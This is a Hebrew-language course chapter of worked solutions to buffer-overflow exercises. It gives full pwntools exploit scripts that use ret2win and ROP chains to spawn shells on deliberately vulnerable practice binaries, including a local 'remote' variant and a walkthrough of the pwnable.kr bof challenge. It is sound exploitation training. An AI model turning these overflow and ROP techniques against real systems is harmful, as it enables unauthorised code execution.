2.3 ניתוב הרצה וret2win פתרון
פתרון - ניתוב הרצה וret2win¶
נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. הכתובות בפלט הן דוגמה - אצלכם הן עשויות להיות מעט שונות בין גרסאות מהדר, אז תמיד תשלפו את הכתובות מהבינארי שלכם ולא תעתיקו אותן עיוור.
פתרון תרגיל 1 - סיור והכנה¶
בדיקת ההגנות:
בדיוק מה שרצינו: NX פעיל, אין canary, אין PIE. כתובת win קבועה.
מציאת כתובת win:
$ objdump -d keys64 | grep '<win>:'
0000000000401196 <win>:
$ nm keys64 | grep ' win'
0000000000401196 T win
מציאת ה-offset עם cyclic. שולחים תבנית מחזורית, קוראים את ה-core dump או צופים ב-gdb איזה ערך נכנס למצביע ההוראות:
from pwn import *
context.binary = ELF('./keys64')
p = process('./keys64')
p.sendline(cyclic(200))
p.wait()
core = p.corefile
fault = core.read(core.rsp, 8) # what was on top of the stack at ret
log.info('offset = %d', cyclic_find(fault))
עבור keys64 (buffer 80 + saved rbp 8) יוצא offset של 88. עבור warmup64 (buffer 64 + 8) יוצא 72. ב-32 ביט ה-saved ebp הוא 4 בתים, אז ה-offsets קטנים יותר (למשל 84 ל-keys32 ו-68 ל-warmup32), אבל תמיד תמדדו - המהדר עלול להוסיף alignment padding. הלקח: מפה לפני שתוקפים.
פתרון תרגיל 2 - ret2win בלי ארגומנטים (64 ביט)¶
הכי פשוט שיש. ממלאים עד ה-offset וכותבים את כתובת win:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./warmup64')
offset = 72
payload = flat({offset: elf.symbols['win']})
p = process('./warmup64')
p.recvuntil(b'bytes:')
p.sendline(payload)
print(p.recvall(timeout=2).decode())
הפלט:
למה זה עבד: win לא קוראת לפונקציית libc "כבדה" עם movaps, אלא רק ל-puts, אז הalignment לא הפיל אותנו. איך להכליל: זה השלד המינימלי של כל ret2win. ברגע שהפונקציה המנצחת דורשת ארגומנטים או פותחת shell, נצטרך את השכבות הבאות.
פתרון תרגיל 3 - ארגומנט אחד ב-64 ביט¶
מוצאים את הגאדג'ט:
בונים chain שטוענת את rdi וקופצת ל-win:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./keys64')
pop_rdi = 0x401256
win = elf.symbols['win']
offset = 88
payload = flat({offset: [pop_rdi, 0xc0ffee, win]})
p = process('./keys64')
gdb.attach(p, 'break *win') # for testing: break on entry to win
p.recvuntil(b'bytes:')
p.sendline(payload)
p.interactive()
כשעוצרים ב-win ומדפיסים p/x $rdi בתוך gdb, נראה 0xc0ffee. המפתח הראשון נטען נכון.
למה זה עבד: הזרימה היא ret של vuln -> pop rdi ; ret שולף את 0xc0ffee ל-rdi -> ה-ret של הגאדג'ט קופץ ל-win עם rdi כבר מוכן. איך להכליל: כל ארגומנט ראשון ב-64 ביט מגיע ל-rdi בדיוק ככה.
פתרון תרגיל 4 - שני ארגומנטים ו-shell (64 ביט)¶
הגאדג'ט השני:
$ ROPgadget --binary keys64 | grep 'pop rsi ; pop r15 ; ret'
0x0000000000401254 : pop rsi ; pop r15 ; ret
גרסה ידנית מלאה. שימו לב לגאדג'ט ה-ret הבודד בהתחלה - הוא זה שמיישר את המחסנית ומונע את קריסת ה-movaps בתוך system:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./keys64')
pop_rdi = 0x401256
pop_rsi_r15 = 0x401254
ret = 0x40101a # single ret gadget for alignment
win = elf.symbols['win']
offset = 88
payload = flat({offset: [
ret, # stack alignment to 16 bytes
pop_rdi, 0xc0ffee, # rdi = key1
pop_rsi_r15, 0x1337, 0, # rsi = key2, r15 = dummy
win,
]})
p = process('./keys64')
p.recvuntil(b'bytes:')
p.sendline(payload)
p.interactive()
הפלט, ואז shell:
אם היינו משמיטים את גאדג'ט ה-ret הראשון, היינו רואים קריסה כזו ב-gdb:
Program received signal SIGSEGV
=> 0x7ffff7e4a3b1 <do_system+915>: movaps XMMWORD PTR [rsp+0x50], xmm0
זה החתום המובהק של בעיית הalignment. עכשיו אותו דבר בגרסת pwntools הנקייה, שמוצאת את הגאדג'טים לבד:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./keys64')
rop = ROP(elf)
rop.raw(rop.find_gadget(['ret'])[0]) # alignment
rop.call('win', [0xc0ffee, 0x1337]) # rdi, rsi, then win
log.info('\n' + rop.dump())
offset = 88
payload = flat({offset: rop.chain()})
p = process('./keys64')
p.recvuntil(b'bytes:')
p.sendline(payload)
p.interactive()
למה זה עבד: rdi ו-rsi קיבלו את שני המפתחות דרך גאדג'טים, ה-if ב-win עבר, ו-system("/bin/sh") רץ. גאדג'ט ה-ret הבודד יישר את rsp ל-16 בתים כך ש-movaps בתוך do_system לא קרס. איך להכליל: זה בדיוק דפוס העבודה מול system/printf ב-64 ביט - תמיד תחשדו בalignment כשקורסים בתוך libc.
פתרון תרגיל 5 - אותו דבר, 32 ביט (cdecl)¶
ב-32 ביט אין אוגרים לארגומנטים ואין גאדג'טים - הכל על המחסנית:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./keys32')
win = elf.symbols['win']
offset = 84
payload = flat({offset: [
win, # overwrites the return address -> jumps to win
0xdeadc0de, # fake return address for win (dummy value)
0xc0ffee, # key1
0x1337, # key2
]})
p = process('./keys32')
p.recvuntil(b'bytes:')
p.sendline(payload)
p.interactive()
מה שקורה: ה-ret של vuln קופץ ל-win. ברגע הכניסה, win מצפה שבראש המחסנית תהיה הreturn address שלה (הסלוט 0xdeadc0de), ומעליה key1 ו-key2. שני המפתחות תואמים, וה-shell נפתח.
מה קורה אם משמיטים את סלוט החזרה המזויף? אז win קוראת את 0xc0ffee בתור הreturn address שלה ואת 0x1337 בתור key1 - הכל מוזז מקום אחד, הבדיקה נכשלת (או שהתוכנית קורסת בסוף win בניסיון לחזור לכתובת לא חוקית). זו בדיוק ההוכחה לכך שהסלוט הזה חובה.
למה זה עבד: קונבנציית cdecl מציבה את הארגומנטים על המחסנית מיד אחרי הreturn address, וזייפנו את המבנה הזה ביד. איך להכליל: לכל פונקציית 32 ביט, המבנה הוא [כתובת הפונקציה] [return address] [arg1] [arg2] .... אם תרצו לשרשר שתי פונקציות ב-32 ביט, הreturn address של הראשונה תהיה הפונקציה הבאה - זה הבסיס ל-ret2libc ב-32 ביט שנראה בפרק 4.
פתרון תרגיל 6 (בונוס) - שרת מרוחק ו-bof¶
הפיכת ה-exploit לגמיש:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./keys64')
def conn():
if args.REMOTE:
return remote('127.0.0.1', 1337)
return process('./keys64')
rop = ROP(elf)
rop.raw(rop.find_gadget(['ret'])[0])
rop.call('win', [0xc0ffee, 0x1337])
offset = 88
payload = flat({offset: rop.chain()})
p = conn()
p.recvuntil(b'bytes:')
p.sendline(payload)
p.interactive()
מריצים את השרת ותוקפים:
ומקבלים shell מרוחק. שימו לב: כשעובדים מול שרת אמיתי, לרוב אין לכם core dump נוח, אז את ה-offset ואת הכתובות שולפים מעותק מקומי של אותו בינארי.
לגבי bof מ-pwnable.kr: ההבדל המרכזי הוא שאין שם פונקציית win לקפוץ אליה. הפונקציה func מקבלת ארגומנט, קוראת קלט לתוך buffer מקומי בoverflow, ואז בודקת ב-if אם הארגומנט שווה לערך קסם (0xcafebabe). מכיוון שהbuffer נמצא על המחסנית באותו frame כמו הארגומנט המושווה, הoverflow יכולה לדרוס את הערך שנבדק. הפתרון: מוצאים עם cyclic את ה-offset מהbuffer עד אותו ארגומנט, ודורסים אותו ב-0xcafebabe.
מה חוזר מהתרגול הזה: מציאת ה-offset עם cyclic, בניית המטען עם flat, והחיבור עם remote - הכל זהה. מה שונה: היעד של הדריסה הוא משתנה שנבדק, לא return address. זו תובנה חשובה - buffer overflow לא חייבת לחטוף את זרימת התוכנית ישירות; לפעמים מספיק לדרוס ערך אחד כדי לעבור בדיקה.